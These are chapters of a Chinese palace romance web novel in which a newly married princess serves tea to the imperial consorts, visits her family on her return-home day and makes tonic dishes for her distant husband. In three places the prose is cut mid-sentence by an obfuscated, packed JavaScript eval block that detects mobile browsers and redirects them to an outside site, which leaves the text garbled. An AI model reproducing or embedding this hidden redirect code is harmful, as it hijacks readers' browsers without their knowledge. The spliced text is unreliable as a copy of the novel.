太后年前生了一场病,病来如山倒,病去如抽丝,如今尚不能起身,因此宝楹没有见到她,只在仁寿宫正殿外遥遥给太后娘娘磕了个头。 仁寿宫的掌事姑姑捧了个螺钿漆金长匣出来,说是太后赐给她的见面礼。 宝楹一见到礼物就高兴,这可是天底下最尊贵的女人给她的礼物。她想打开来看看,可是随行入宫的白露很快地将匣子收了起来,而宗铎更是已经走到了仁寿宫门外。 她只得紧赶慢赶地跟上。 去中宫的时候是走着去的。宗铎的步子迈得大,将她甩落一个身位的距离。 宝楹想让他牵她,便伸手去揪他的袖口,谁知他那袖子仿佛长了眼睛似的,每每她要碰到的时候,它便摆到前面去了。 如此尝试了几回都没抓到他的袖子,她终于放弃了努力,悻悻然跟在他身后。 坤宁宫的掌事太监早早迎候在门外,殷勤地引着宗铎和新封的燕王妃入内。 宝楹这回是真紧张了,皇上就在里头呢。 虽然宗铎说了让她平常心就好,可那是皇帝啊,是社稷的主人,是苍生的君父,试问谁面圣的时候能够泰然自若呢? 没想到,进了正殿,并没有瞧见皇帝的影子。 穿明黄色鸾凤吉服的皇后端坐主位,左侧的尊位却空了出来,几名严妆丽服的妃子坐在皇后的下首,正把目光朝门口望过来。 一二三四五,宝楹悄悄数了数。 皇家果然不同凡响,寻常人家只有一个婆母,她足足有五个呢! 皇后招手让这对新人上前,含笑道:“陛下政务繁忙,不能拨冗过来喝新媳妇的茶,今日就不等他了。” 听说皇帝不出席,宗铎的神色不变,恭声道:“父皇辛劳,自是以国事为重。” 宝楹跟在他身后,也悄悄地松了一口气,粉颊边抿出两个浅淡的酒窝来。 皇后注意到了她,招手道:“好孩子,过来。” 宝楹连忙走上前,按照桂嬷嬷教她的礼仪,敛裙在皇后面前跪下。 宫女捧着茶盘上来,宝楹拿起茶碗,双手捧过头顶奉至皇后面前。 皇后接过茶碗,喝下了新媳妇敬上的第一口茶,便随手将茶碗递与宫人,朝面前乖巧垂首的少女道:“抬起头来本宫瞧瞧。” 宝楹依言抬头,皇后端详她时,她也在悄悄打量着皇后。 皇后比皇帝大三岁,是端庄威仪的阔面孔,脸上虽保养得宜,也难免带出了些岁月的细纹,却不显苍老,反而越发衬出了后宫之主的雍容气度。 不过对着她这个儿媳妇,皇后倒是笑得亲切,由衷感叹道:“好水灵的小姑娘!多大年纪了?” “回母后,儿臣去年冬月就满十七了。” 宝楹的声音很好听,细而不尖,轻柔婉转,带着少女特有的活泼,像出谷的黄鹂。 在这种肃穆的场合,她不自觉地敛起了那份活泼,娓娓道来的嗓音就成了泠然的山涧清泉,在夏日里格外叫人舒心。 皇后眼角的细纹舒展了些,又笑道:“贵妃进宫时也是这个岁数吧?本宫记得当年贵妃一来,满宫粉黛为之失色。你们瞧瞧,这燕王妃是不是有过之而无不及?” 她下首的一个妃子接上话来:“依本宫看,燕王妃确实更胜一筹。贤妃妹妹,你觉着呢?” 徐贤妃淡淡笑了笑,并不接话,转头问宝楹:“可读过什么书不曾?” “呃……”这倒把宝楹问住了。 施大路是个武夫,没有“书中自有黄金屋”的觉悟,自然想不到送女儿去读书。 还是珍娘押着宝楹跟着如茵的女先生读了半年书,字倒是能认得了,可是她惫懒,不爱琢磨那些晦涩的经史子集,整天捧着话本小说看得津津有味,字倒是越认越多。 如今娘娘们问起来,她难不成说《醒世姻缘传》、《降妖捉怪记》这类闲书? 不好不好,未免太不登大雅之堂。可要说她读过的正经书,又实在是屈指可数。 宝楹搜肠刮肚,慢吞吞答道:“回娘娘,只读过《三字经》、《千字文》。” “嗤——”身旁传来一声轻笑,“本宫娘家的侄儿开蒙都不读这种书了。” 宝楹用余光暗自瞟了那位娘娘一眼,心里是不服气的:她又不用考状元,书读少点怎么了? 皇后一时也不知说什么好,便让身后的宫女递上见面礼,又吩咐宝楹:“去给你的几位母妃也敬一盏茶吧。” “是。”宝楹方才悄悄数过了,皇后下首坐着四位妃子。 桂嬷嬷给她做过宫里的功课,皇帝后宫佳丽三千,比起膝下无子的皇后,风头更盛的是几位皇子的生母。 首先拜见的是池贵妃。 贵妃娘家不显,全靠帝宠登上的贵妃之位。她所生的五皇子宗铆十八岁就封了赵王。比起二十岁才靠军功开府封王的宗铎,宗铆可谓圣眷昌隆。 池贵妃就是方才出言嘲讽她的那位娘娘,不过宝楹不敢有丝毫怠慢,恭恭敬敬地奉了茶到贵妃面前。 见迟迟没有人接,她不由悄悄抬起眼睫觑了贵妃一眼。 池贵妃保养得宜,看起来不过三十上下,容色艳丽非常。只是神态倨傲,看起来不大好相处。 她还耿耿于怀着方才皇后的话语,冷冷笑道:“燕王妃果然好颜色!怎么从前宫宴上不曾见过你?” 宝楹老实答道:“回娘娘,家父是七品官身,家眷没有资格参加宫宴,所以娘娘不曾见过儿臣。” “七品?”池贵妃秀眉一拧,故作讶异地对身后宫女道,“从前在咱们家看门的那个李伯,如今都是六品主事了吧?” 那宫女娇笑道:“娘娘,那是三年前的事啦!李大人如今肯定高升了。” 话音落下,殿内传来一阵阵似有若无的轻笑。 宝楹听出了那笑声里的轻蔑之意。 可她不明白这有什么好笑的,官位低是什么很丢脸的事吗?这个七品的官职,是她爹奋斗了大半辈子才得来的呢! 听着那些轻蔑的笑声,宝楹心中有些难过,不知所措地回头望了宗铎一眼。 他站在她的身侧,脸上依旧是那副澹然沉静的神色,仿佛池贵妃挖苦的不是他的岳家。 这时,坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149186|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池贵妃对面的华服妃子开口道:“贵妃的娘家就是不同凡响。我们徐家世代公卿,可看门的就是看门的,没有鸡犬升天这一说。” 宝楹感激地望向她。 听那话里的意思,这位就是徐贤妃——宗铎的亲娘、她的正经婆母了。有人撑腰,她立刻挺直了身板。 池贵妃脸上却微微变色。 徐家世代公卿,而池家却根基浅薄。在她进宫之前,池国丈是看城门的。贤妃这是在讽刺她家世低,没底蕴呢! 她气恼不已,见宝楹还捧着茶碗,金黄澄澈的茶汤冒着腾腾热气,顿时计上心头,伸手去接那茶碗,却不过是虚晃一枪,指尖一碰到杯底便收了回来。 宝楹自是不知贵妃耍的猫腻,见她伸手来接便松了手,谁知那茶碗竟直直往下坠去。 眼见那滚烫茶汤马上要洒到她身上,不过是电光石火的一瞬间,一只骨节修长的手托住了那坠落的茶碗,腕间一转,将溅出来的茶汤一滴不落地接回碗中,闲闲送到贵妃面前。 “娘娘当心。” 宝楹惊奇地看着宗铎,他的动作太快了,又干净又利落,比街上的杂耍还要好看。 当然这份暗许里也夹杂着几分感激之情,若非他反应及时,那杯热茶就要烫到她的手了。 池贵妃的脸色却很不好看。 倘若燕王妃砸了敬给她的茶,无论如何她都有理由发难,可宗铎轻描淡写的一句话,反成了她自己没接稳。 她冷冷地从宗铎手中接过茶碗,让宫女把见面礼送上。 宝楹这才松了口气,转过去跟下一位妃子敬茶。 好在接下来的两位妃子都不曾为难她。 贵妃之下是郭良妃,她四十余岁的年纪,是皇长子宗钿的生母。郭家是武将世家,郭国丈领兵镇守北疆,良妃在宫中的地位自是举足轻重。 下一位是廖德妃,廖国丈与徐贤妃之父同在内阁,可因德妃诞育了二皇子宗钺和四皇子宗铠之故,地位仍旧压过贤妃一头。 最后敬到她真正的婆母徐贤妃。 贤妃四十上下的年纪,容长脸,瑞凤眼。宝楹觉得她跟宗铎长得不是很像,不过举手投足间那份矜傲倒是像了个十成十。 贤妃接了她的茶,也不喝,手里漫不经心地转着茶杯,垂着一双细长的凤眼打量她。 宝楹心头很忐忑,这么多娘娘里,她唯独担心贤妃不喜欢她。毕竟,贤妃才是宗铎的亲娘,跟他们才是真正的一家人。 好半晌,贤妃方开口道:“出身低些不要紧,要紧的是认清自己几斤几两,知晓自己如今的身份地位是谁给的。若是恃宠而骄,目无下尘,可别怪本宫不认你这个儿媳妇!” 这话说得不客气,令宝楹惶惑不已:方才还帮她说话的贤妃,怎么这会儿敲打起她来了?是不是她做错了什么? 直到从宫里出来,坐上了回府的马车,她仍是百思不得其解。 宗铎冷眼瞧着她那坐立难安的样子,忍不住开口道:“那些话你不必放在心上,娘娘不过是在指桑骂槐罢了。” 宝楹听说不是骂她,不由长舒了一口气,又眼睛亮亮地望着他:“你怎么知道我在想什么?” 宗铎不语,转头望向马车纱窗外的街景。 她那对儿圆圆的铜铃眼,就像沉在碧清溪底的珠玉,被涤荡得澄澈透净,多少浅薄的心思都明明白白地摊陈在上面了。 5. 茅塞顿开的回门 宗铎没跟她一道回王府,半途改道去了龙禁卫衙门。 宝楹不知道本朝官吏成婚有三日婚假,只当他是恪尽职守,并没有往心里去。她急着回去看看娘娘们给她的见面礼。 一回到王府,她兴奋地让白露将收到的礼匣一一拆开。 太后给的是一柄白玉蝠纹如意,皇后给的是一对“宜子宜孙”同心金锁,贵妃给的是一对双喜珊瑚耳坠,贤妃给的是一面螺钿牡丹纹铜镜,良妃给的是一对翡翠玉镯,德妃给的是一件众华璎珞…… 宝楹看得眼睛都直了,她以前哪里见过这么多好东西,爱不释手地左摸摸右看看,觉得每一样物件都流光溢彩。 她举着那柄玉如意问旁边的白露:“这东西放当铺能换多少银子?” 白露大吃一惊,有些鄙夷地说道:“王妃,你想什么呢?这是御赐的东西,府库要登记在册的。这些珠宝首饰,青霜会替你管着,要穿戴的时候再拿出来。倘若弄丢了,别说我们,就是王妃你也担待不起啊!” 宝楹讪讪将手中的玉如意放了下来。 好嘛,这些东西都得供着,不能拿去换钱,也不能送人。 刚脱下繁复的王妃朝服换上常服,管家孙姑姑就过来了。 她先跟宝楹寒暄了几句,问起进宫敬茶的事情。当得知皇帝没有出席时,孙姑姑倒并不意外,只是脸上难免带出些失望。 宝楹却浑然不觉,还在兴致勃勃地说着她的见闻:“贤妃娘娘还跟贵妃娘娘吵架呢。不过,要不是殿下说了,我都不知道她们在吵架。” 孙姑姑尴尬地笑了笑,岔开话题,提出带她去熟悉一下王府。 从轿厅传来一顶敞轿,另有四个宫人举着伞盖,孙姑姑领着宝楹将王府逛了一圈。 燕王府坐落在宫城西北的积庆坊,按照亲王府制式,一共是五进三路的布局,开了东南西北四道大门。南北大门将王府分出朝向,东西大门则隔出前后。 前后两院各有一座正殿,前院的正殿叫作“明性殿”,是王府待客的地方。 东偏殿是宗铎的书房,名为“韫晖堂”;西偏殿是可供休憩的寝殿。 明性殿西路是演武场及仓储库房,东路是王府属官的衙署。孙姑姑叮嘱她没事不要跑到前院来,以免被外人冲撞。 后院的正殿叫作“昭明殿”,也就是如今宝楹住的寝居。 昭明殿的西路是侧妃姬妾们的住所,东路是王子王女的住处。因为宗铎如今刚成亲,又没有其他侍奉左右的姬妾,因此这两处都是空置的状态。 “王府现下只有两位主子,难免冷清。王妃跟殿下多生几个小世子小郡主,过个几年府里就热闹起来了。”孙姑姑如是说道。 宝楹面上有些羞涩,心里却难免憧憬起来。 王府又大又漂亮,后院还有一大片曲水流觞的园林,她的小孩可以到处乱跑,一定会过得非常快活。不像她,小时候只能蹲在院子里挖土玩。 到了晚膳时分,红霞领了人进来布菜,对宝楹道:“王妃,殿下命人传了话回来,他要带人出城操练,今夜晚归,王妃不必等他用膳,晚上也自行安歇即可。” 宝楹终于觉出点不对劲来了。 人家新婚燕尔都是如胶似漆,怎么到她这里,夫君统共没跟她说上十句话,人还神出鬼没的,哪有成婚第二天就叫她自行安歇的? 想来真是可恶,昨夜大婚太累,她都没计较他冷落她的事。明明还是他求着娶她的,凭什么连续两天晾着她? 宝楹把银箸往桌上一拍:“我不同意!凭什么早不操练晚不操练,就挑新婚的日子操练?他是不是故意的?” 红霞没想到她会抗议,讶异地瞥了她一眼,倒是认真给她解释了起来:“王妃误会了。因端午龙舟盛会将至,各司衙门都点了精锐,铆足了劲要在龙舟赛争个好名次。咱们殿下统领龙禁卫,手下军士们骁勇英武,自然不甘人后。从四月起,殿下就日日带人到城外永定河边操练,从不间断,并不是针对王妃。” 宝楹听罢面色稍霁。 端午的龙舟盛会是京师一年一度的盛景,寻常百姓在城外的永定河段赛龙舟,而官府衙门在皇宫西苑的御河比赛。 她爹也曾代表过顺天府衙参加过几回比赛呢,可惜从来没挤进过决赛。 既如此,宝楹便不好计较宗铎冷落她了,只是心下还是有些不乐。 她记得有一年端午,娘亲身子不适,爹爹便放弃了赛龙舟的机会,专心在家陪她娘。宗铎他,新婚第二天就把她晾在家里,可见还是不够重视她! 宝楹决定,明天回门要在娘亲面前狠狠告他一状。 一想到回门,她的气顷刻间便消了。 明明才嫁过来两天,可是感觉隔了两个月之久,也不知道爹娘有没有想她?明天的回门宴,娘亲会给她做什么好吃的? 宝楹满心记挂着回门的事,连宗铎一夜未归都没注意到。 翌日天刚破晓,她就睁开眼睛从床上爬了起来。 红霞和素雪过来服侍她梳洗,今天是回门,不用像昨日进宫那般大费周章,素雪给她梳了个云髻,配一套珍珠头面,看上去典雅又大方。 宝楹同在一旁挑选衣裳的红霞闲聊:“殿下呢?怎么没看到他,这么早就出去了?” 红霞回过头,费解地瞥了她一眼:“王妃,你不知道?殿下昨夜二更才回府,怕打扰王妃歇息,直接宿在了前院,根本就没回昭明殿啊!” 他能有这么体贴?宝楹暗自腹诽,要不是洞房那晚宗铎晾了她大半夜,她还真就信了。 皇家的回门礼与寻常人家不同,亲王不必向王妃的亲长行拜礼,因此亲王仪驾要比王妃先行,到岳家接受完王妃亲长的叩拜后,再由王妃单独向亲长行拜礼。 因此宝楹这趟也不跟宗铎一块儿出门,她的车驾抵达施家的时候,那条只能容一辆马车通行的巷子已经列满了披甲佩刀的兵卫。 宝楹心头直犯嘀咕:这阵仗怎么跟抄家一样?可别让人家以为她爹犯了什么事。 进了家门,爹爹施大路还在正堂陪着宗铎,珍娘先拉着她去了厢房说话。 母女二人两日不见,当真如隔三秋,珍娘摸摸她的头发,又摸摸她的脸,一迭声地问:“怎么样,在王府里可还习惯?燕王待你好不好?下边的人好不好打发?” 宝楹连连点头,绘声绘色地跟珍娘说起王府有多大,吃得有多好,皇宫里的见闻又如何。 说着,她撩起袖子,给珍娘看手里的那对满绿的翡翠手镯:“娘,你看这成色好不好? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149187|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫里的良妃娘娘赏的!可惜这镯子我只能戴,不能支配,不然这镯子咱们一人一只。” 珍娘笑道:“娘戴这么贵重的首饰做什么?你留着自个儿戴,你如今身份尊贵,可不能再戴闺阁时那些廉价首饰了。” 寒暄了一轮,珍娘压低声音,悄悄问起最重要的问题:“你和燕王怎么样?床上……和不和谐?” 一说到这个宝楹就来气,攥起拳头捶了一下床褥:“一点儿都不好!” 她不吐不快,将洞房之夜宗铎如何晾着她,昨晚又如何独守空房等等诸般,事无巨细地告诉了珍娘。 “我怀疑殿下他根本就不喜欢我。” 宝楹下定结论。 珍娘却蹙起了两道柳眉。她是过来人,想事情自然不像宝楹那么简单。 施家又没什么可图的,燕王既然能向皇上求娶宝楹,说明他肯定是喜欢她的。既然喜欢,又为什么会冷落她呢? 一个模糊的猜想涌上心头。燕王这么年轻,按理说不太可能,不过……若非如此,那为何他不肯跟宝楹亲近? 珍娘低声问道:“姑爷他,是不是……不行?” “什么不行?”宝楹睁大眼睛,不解地看着母亲。 珍娘一脸严肃地问道:“你们圆房没有?” 宝楹茫然地点点头,又摇摇头:“我不记得了。我当时是想跟他圆房的,但是他好像不太愿意。后来我就睡着了。” 珍娘轻轻叹了口气:“那就是了。燕王明明那么年轻,看着也英姿勃发的模样,怎么偏偏就不行呢!” 宝楹歪着脑袋,锲而不舍地问道:“娘,什么是‘不行’?” 珍娘清咳一声,道:“男子为阳,女子为阴,阴阳交合,是为夫妻。若是男子阳刚不振,不能行周公之礼,那就是‘不行’。” 宝楹很疑惑,将红润的小嘴嘟起来:“这有什么不行的,周公之礼,不就是亲嘴吗?” 珍娘看着她亮晶晶的眼睛,有些哭笑不得。 孩子再不谙世事,该懂的还是得懂。都怪自己早前讲得太浅显,让她对这事一知半解,害得她连新婚夜都没能圆满。 趁这个机会,不如给她讲通讲透了。 “哪里是亲嘴这么简单?男女的身体构造是不一样的……” 珍娘附耳对宝楹细说了几句,看着她蓦然瞪大的眼睛,含笑道:“如此,方算礼成。你可明白了?” 宝楹想着宗铎那挺拔的体格,不由渐渐红了脸,小声道:“那,那殿下他为什么不行?” 珍娘也不清楚。不过,想必应该不是什么大问题。 “姑爷年少气盛,就算一时不行,想来调养些时日便好。娘记得从前珍藏的食谱中有些滋阴补阳的药膳,到时抄了给你带回去。” 宝楹靠着珍娘的肩膀,娇声道:“娘亲真好!” 珍娘素知她莽撞的个性,又殷殷叮嘱道:“男人在这方面很敏感的,你不要对旁人说起,免得伤他自尊。想来姑爷不是不喜欢你,而是怕你嫌弃他,所以才不肯同你亲近呢!” 宝楹小鸡啄米似的连连点头,这两天生的闷气早抛到九霄云外了。 她没想到宗铎那么可怜,原来冷落她只是为了维护自尊。啧啧,男人这点小心思,还有点可爱呢! 6. 两个男人的对峙 回门宴摆在前院,除了新婚夫妇和岳父岳母同坐主桌外,男宾两桌,女宾两桌,请的都是施家的亲友邻居。 施大路提前叮嘱过,今日是他女儿回门的大日子,谁都不许叨扰他的贵婿,否则,以后就没朋友做。 是以席间,除了众人不时投过来的看稀罕的目光外,宗铎唯一的烦恼就是要应付宝楹的热情。 她坐在他身边,热腾腾的菜肴一上桌,她便眼疾手快地夹起一只烧鹅腿,无比体贴地放到他碗里。 “殿下,这是我娘的拿手好菜,你快尝尝!” 宗铎垂眸望着碗里皮酥肉嫩的鹅腿,上面还有她筷子戳出来的两个圆洞。他沉默片刻,拿起公筷将鹅腿夹回她的碗里。 “你吃。” 过了一会儿,又上了一道红烧蹄髈,宝楹立刻夹起一块酱汁浓郁的蹄髈送到宗铎碗里。 “殿下,你尝尝这个。这是我最爱吃的肉!” 那蹄髈炖得软糯酥烂,宗铎拿公筷一夹,不成想没夹起来,皮肉分成两半摊在了碗里。 他额角突突地跳了两下,索性将整个碗推到她的面前:“爱吃就全给你吃。” 施大路和珍娘欣慰地看着面前相敬如宾的小两口。 女婿疼惜女儿,他们就安心了。 宝楹心里也暖暖的,这么好吃的蹄髈,他都能忍着先给她吃,可见心里是真的有她。她埋头苦吃,将本就圆润的腮帮子塞得满满的。 没了她的打扰,宗铎终于有空将席上之人打量了一圈,很是失望地发现,这施家来往的都是些舞枪弄棍的粗人。 那卫家舅舅倒是有眼色,可惜是个老油条,官位也太低。卫家表兄还算言谈有物,不过要进燕王府还远不够格。 总而言之,没有一个值得拉拢的。 宗铎目光朝外望去,外头晴天朗日,树影微斜,应当是巳初时分了。出来近两个时辰,耽搁得已经够久了。 他心里渐渐不耐,面上却丝毫不显,安静地等着宝楹吃饱喝足。 就在她第二碗米饭见了底的时候,宗铎准备起身告辞,谁知她把碗一伸,又盛了满满一碗米饭。 他耐心告罄,不再等她。正要起身告辞,忽见施家的门房火急火燎地跑进来,连声喊道:“轩少爷回来了!” 卫轩回来了? 宝楹惊诧不已,也顾不得面前的美食了,把碗筷往桌上一撂,提着裙子就跑了出去。 卫轩十岁时被一个江湖客收作弟子,跟着那人到蜀中习艺去了。这么多年来,唯有年节时会回京一趟。 宝楹的婚期太突然,光是从京城传信到蜀中就要月余时间,她以为卫轩肯定赶不回来的。 珍娘等人也喜出望外,忙相携着迎出去。 宝楹跑在最前头,出了垂花门,迎面见到一个熟悉的挺拔身影走进来。 他果然是一脸的风尘仆仆,英俊的脸上没有半点表情,神色看着有些凝重。 可是一看到她,他那双桃花眼先泛起浅淡笑意,紧接着唇角勾起,露出宝楹熟悉的欠揍的笑来。 “小宝妹妹。” 他阔步走上前,轻车熟路地揪起了她的脸颊。 宝楹忙不迭地拍开他的手:“不许动手动脚!我现在可是王妃了,你再这样,我让人把你的狗爪剁了!” “啧,这么快就学会狐假虎威了。”卫轩松开揪着她脸蛋的手,目光将她从头到脚扫了一遍,虽是笑着,声音却有些幽怨,“小宝妹妹还没被我欺负够呢,怎么就嫁人了?” 宝楹冲他呲牙,语调带着点得意:“没想到吧,你宝儿姑娘抢手得很呢!” 卫轩眉尾轻轻一扬,目光却越过宝楹看向她身后,眸中的戏谑之意顷刻散去,脸上那一丝淡笑也消失了。 宝楹回头望去,是宗铎从后头走了出来。 他的目光也正看着卫轩。 两人都是高挑挺拔的身材,院子里的其他人便成了木秀于林的陪衬。 盛暑的天气,宝楹站在他们中间,竟莫名感到头顶凉飕飕的。她下意识地往旁边退了一步,靠在院中那株海棠树下,目光小心翼翼地在二人之间逡巡。 宗铎脸上惯来是没什么表情的,可是爱笑的卫轩也不笑,这无声的对视看起来便有了些剑拔弩张的意味。 最终,卫轩抬手朝宗铎行了个揖礼。 “草民卫轩见过燕王殿下。” “免礼。”宗铎一抬手,缓缓开口道,“敢问卫公子在何处高就?” “草民不才,浪迹江湖而已。” “燕王府求贤若渴,不知阁下可有意屈就?” “哦?”卫轩挑了挑眉毛,“燕王殿下开价几何?” 宗铎淡淡一笑:“贤才能士,千金难聘。吾能给阁下的,不可只以金银概论。” “殿下果然爽快。”卫轩朗声一笑,余光在宝楹脸上一扫,那笑又沉了下去,“只可惜卫某想要的,殿下未必给得起。” 宗铎很是自信:“阁下不说,又怎知本王给不起?” 卫轩却不接他的话茬了,朝他一拱手道:“在下恣纵惯了,既无辅君之才,亦无入朝之心。蒙殿下错爱,实在惭愧。” 宗铎闻言,亦不勉强,转身朝施大路道:“出来许久,衙门还有些事情要处理,小婿先告辞了。” 施大路忙领着宾客恭送王驾。 宝楹见宗铎这就要走了,只好不大情愿跟上,心里还有点惋惜她那碗没吃完的饭。 卫轩侧身给宗铎让开去路,两人擦肩而过之时,他忽又开口:“我这小表妹自小被家里娇宠惯了,今后若有什么失当之处,还请殿下替她多多周旋。” 宝楹瞪他。 好好的干什么说她坏话!她才不娇纵,她脾气好得很。 宗铎的目光在二人脸上辗转一瞬。 “不劳阁下操心。” 说罢,迈步往垂花门外走。 宝楹连忙敛裙跟上。 经过卫轩身边时,他轻声道:“小宝,要是受委屈了跟哥哥说。我虽无甚所长,但帮妹妹出头的本事还是有的。” 宝楹回头冲他做了个鬼脸。 坐上回王府的马车,宗铎倚着座榻靠背闭目养神,没再开口说一句话。 虽说他平时也是这个作风,不过宝楹觉得,他这回肯定是生气了。卫轩这个混蛋,以前欺负她就算了,现在还来挑拨她的夫妻关系。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149188|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宝楹暗暗攥紧拳头,心里把卫轩骂了一通。骂归骂,可不能让宗铎因此迁怒舅舅家。 她伸出一根手指,小心翼翼地戳了戳宗铎的肩膀:“殿下,卫轩他这个人就是嘴巴欠,你别恼他。” 真是好一出兄妹情深。 宗铎微微一哂,仍是闭着眼睛:“你从前如何我不管。不过你记住,从今往后你是燕王妃,代表的是燕王府的脸面。谨言慎行,能否做到?” “没问题!” 没想到他非但不生气,还难得跟她说了这么多话,宝楹很高兴。 可是他说完这句话后又开始闭目养神,半分继续跟她交流的意思也没有。 宝楹只好百无聊赖地观察起马车里的陈设。 这是王府常用的双人马车,不过据她观察,这车厢里坐下四个人都绰绰有余。 板壁是黄花梨木做的,三合围的座榻上铺着湘妃竹席,银顶皂盖,板壁两侧开着通风对流的纱窗,矮几底下还放着冰盆,坐在里头非常凉快。 宝楹看来看去,目光又溜到了宗铎脸上。 这车厢的陈设虽然华丽,可她觉得这里头最华丽的还是宗铎。 他光是坐在那里闭着眼睛,便如一尊玉雕的神像,高挺的鼻梁骨与深邃的眉弓撑起侧脸的轮廓,长而弯的浓睫在眼睑投下一小片阴影,整张脸便蓦地柔和起来了。 宝楹想起母亲对她说的话,眼睛不由自主地往他腿间瞟。 他正姿态端贵而舒展地倚枕而坐,银朱直身,腰间系着窄玉带,两条修长笔直的腿半张着,不难看出中间那微鼓的山峦。 想摸。 可是,总不能直接伸手去摸吧,会显得她很不矜持,而且,有点冒犯。 可是宝楹真的很好奇。 她转了转黑琉璃似的一对眼珠,透过纱窗瞧见马车正驶在大街上,不远处就到了街口的拐角。 那是一个大弯,到时她就假装失衡往他怀里倒,手再浑水摸鱼往那处一摸,好瞧瞧男子那里到底与女子有什么不同。 宝楹很为自己这番谋算满意,忍不住笑出了声。 俟马车走到街口,转弯时果然车厢一阵倾斜。她借机倒向宗铎,眼睛瞄准靶心,手掌便假作不经意地往那处扑去—— 没碰到。 她被宗铎一手按住,掌心堪堪停在离目标半尺处。他垂下眸光看她:“你干什么?” “呃,我……”宝楹讪讪道,“我没坐稳。” 宗铎不说话,只用那双狭长清目静静凝视她。 宝楹向来耿耿于怀他从不正眼看她,可当他真的看着她时,她又觉得自己的心肝肺腑都被他看了个透底。 她心虚地别过眼睛避开他的目光。 此时马车已拐至正道,宗铎松开钳制着她的手,冷冷地说道:“有些事情提前说清楚为好。我不喜与人亲近,所以今后同席,不要给我夹菜。还有,以后我会宿在明性殿,你入夜自行安歇即可,不必等我。” 宝楹只记住了后半段,心下暗忖:娘亲说得果然没错,他肯定是不行,所以不敢跟我同房。 她不无遗憾地瞟了眼那没摸到的鼓包,很是真挚地说道:“没问题,我理解的。” 7. 宝楹的爱心补阳药膳 四月里暑气渐盛,从窗外望出去,满目的碧翠浓荫。庭院里的几株栀子开了花,熏风送暖,将花香也带进来,满屋子清香馥郁。 宝楹从没想过夏日也能过得这么惬意。 昭明殿高堂阔院,任是外头如何暴晒也热不到她屋子里来。脚踏边放着两只冰鉴,里头镇着西瓜杨梅樱桃枇杷等应季鲜果,既解暑,又解馋。 宝楹窝在圈椅里琢磨珍娘给她的药膳秘方,决定亲自做一道参茸鸽蛋羹,再炖一道当归乌鸡汤。 珍娘烧得一手好菜,宝楹从小耳濡目染,下厨之事难不倒她。且这种滋阴补阳的药膳,娘亲说了,男人要面子,不可以假人之手。 药膳里的食材好找,厨房里就有现成的。只是那药材就得费些功夫了,像杜仲、当归、淫羊藿等寻常药材差小帘去买就是,可像山参、鹿茸等名贵药材,宝楹可舍不得花那个银子。 不过这也难不倒她,羊毛出在羊身上,王府那么富贵,肯定不缺这点药材。 她亲自去找孙姑姑要。 孙姑姑狐疑地打量她两眼:“王妃要这些干什么?” 宝楹扭扭捏捏道:“姑姑给我就是了。” 孙姑姑心下有七八分了然。小门户家的女儿嫁进了王府,开口就要名贵药材,除了贴补娘家还能是什么? 不过她也不点破,领着宝楹去了库房,开了药库称了三两鹿茸、两支山参。 宝楹一见那山参比她大拇指还粗一圈,不由讶异道:“这得很贵吧?” 孙姑姑瞥了眼那圆圆胖胖的山参,不以为意道:“这不值什么。太医院每个月进了新药材,都要挑些顶好的参茸送过来。王府用不上,每个月也当礼物派出去的。” 宝楹心里暗暗动了念,她娘身子不好,每个月总要吃些人参补气。在药铺买的人参,没她尾指粗不说,价格还贵得要命。 王府的参那么好,反正每月都要送出去,那往她家送一份也不多。 不过宝楹的家教很好,爹娘教过她不可以不问自取,因此她特意差人去前院打听宗铎在不在王府。 直到酉时,听说宗铎回来了,她便兴冲冲地寻到了明性殿。 内侍进去给她通报后,却没有领她进议事的正殿,而是进了东偏殿。 宝楹抬头一看,上面匾额提着铁画银钩的“韫晖堂”,想来这里就是他常用的书房了。 进了屋子,扑面一股清郁的龙涎香,里头窗明几净,东侧是四扇云纹纱窗,窗边左侧立着几面紫檀书架,上头摆满了整齐的书册。 她爹也有一间这样的书房,当然狭小简陋得多,书架上摆的书也多是些市井话本。施大路不在家的时候,那间小书房是她玩乐的天地。 她正神游天外,忽然听得一声清咳:“什么事?” 宝楹回过神,见宗铎就坐在书案后面,两道熠然的目光正看着她。 她忙走到他身侧,绽出一个殷勤又甜美的笑来:“殿下!我听孙姑姑说,王府里的人参用不上,都拿去送人的。那么,也送两支到我家里好不好?” 就为这事? 宗铎垂下眸光继续看着手中文牍,漫不经心道:“这种小事跟孙姑姑说一声就是了,不必来问我。” 宝楹喜滋滋地谢过他,出了韫晖堂去寻孙姑姑。 “殿下说了,以后若往外送人参,也要送两支到我家里。” 孙姑姑纠正她:“王妃嫁给了殿下,今后王府才是您的家,施家是您的娘家。” “喔。”宝楹不以为然,却又眼巴巴地叮咛,“那姑姑别忘了。” 